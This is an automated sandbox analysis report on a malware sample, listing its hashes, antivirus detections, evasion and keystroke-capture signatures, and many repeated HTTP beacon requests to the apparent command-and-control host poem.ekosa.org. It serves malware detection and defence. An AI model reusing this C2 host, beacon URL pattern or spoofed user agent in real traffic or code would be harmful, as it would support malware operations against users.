Play interactive tour

Edit tour

Analysis Report WVbU1Gf5p8

Overview

General Information

Sample Name:	WVbU1Gf5p8 (renamed file extension from none to exe)
Analysis ID:	338142
MD5:	69f7cde70cc22aceb5dd32ff1dc3f685
SHA1:	f87ee3079aaa5230e107ff9684e7cdea2162caf6
SHA256:	625f63364312cec78a4c91abedba868d551d79185ff73e388f561017b13347f0
Most interesting Screenshot:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Submitted sample is a known malware sample

Machine Learning detection for sample

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Detected potential crypto function

May sleep (evasive loops) to hinder dynamic analysis

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

WVbU1Gf5p8.exe (PID: 6344 cmdline: 'C:\Users\user\Desktop\WVbU1Gf5p8.exe' MD5: 69F7CDE70CC22ACEB5DD32FF1DC3F685)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: WVbU1Gf5p8.exe

Avira: detected

Multi AV Scanner detection for submitted file

Show sources

Source: WVbU1Gf5p8.exe	Virustotal: Detection: 71%			Perma Link
Source: WVbU1Gf5p8.exe	ReversingLabs: Detection: 66%

Machine Learning detection for sample

Show sources

Source: WVbU1Gf5p8.exe

Joe Sandbox ML: detected

Source: WVbU1Gf5p8.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: WVbU1Gf5p8.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\WVbU1Gf5p8.exe

Code function: 0_2_012385AB FindFirstFileExA,

0_2_012385AB

Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
